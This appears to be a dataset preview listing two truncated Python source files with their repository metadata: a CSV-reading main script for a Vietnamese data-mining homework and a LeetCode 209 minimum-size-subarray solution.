ae211130b95fc273379e0fb01c2c2a85ffa37afc | 85193841489787aafe55783e3a866b6a128ae3b6 | /main.py | ed32182884ac2453c43ba982e5d5287c1960eed2 | [] | no_license | tungrg/KTDL-1 | 8126934b82a662986e0be738c3c55f9475ca125b | 72b4779d69202d2141c6e6a2b88163212639ffe7 | refs/heads/main | 2023-03-02T04:04:49.980565 | 2021-02-01T14:20:36 | 2021-02-01T14:20:36 | 334,970,354 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,811 | py | import sys
import csv
import Cau01
import Cau02
import Cau03
import Cau04
import Cau05
import Cau06
import Cau07
import Cau08
#doc file csv
def readFile(inputFile):
#tạo biến để lưu dữ liệu đọc được
listRow = []
with open(inputFile) as csvfile:
#Hàm csv.DictReader đọc file csv r... | [
"noreply@github.com"
] | noreply@github.com |
f56639edc40ac8497ea6977336f9f3e59e3eab8d | 523f8f5febbbfeb6d42183f2bbeebc36f98eadb5 | /209_1.py | 6be6ee33df1f183ba7cd0d044dc5df398b7851a1 | [] | no_license | saleed/LeetCode | 655f82fdfcc3000400f49388e97fc0560f356af0 | 48b43999fb7e2ed82d922e1f64ac76f8fabe4baa | refs/heads/master | 2022-06-15T21:54:56.223204 | 2022-05-09T14:05:50 | 2022-05-09T14:05:50 | 209,430,056 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 780 | py | class Solution(object):
def minSubArrayLen(self, target, nums):
"""
:type target: int
:type nums: List[int]
:rtype: int
"""
if len(nums)==0:
return 0
i=0
j=0
max_seq=float("inf")
tmpsum=0
while True:
if t... | [
"noelsun@mowennaierdeMacBook-Pro.local"
] | noelsun@mowennaierdeMacBook-Pro.local |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.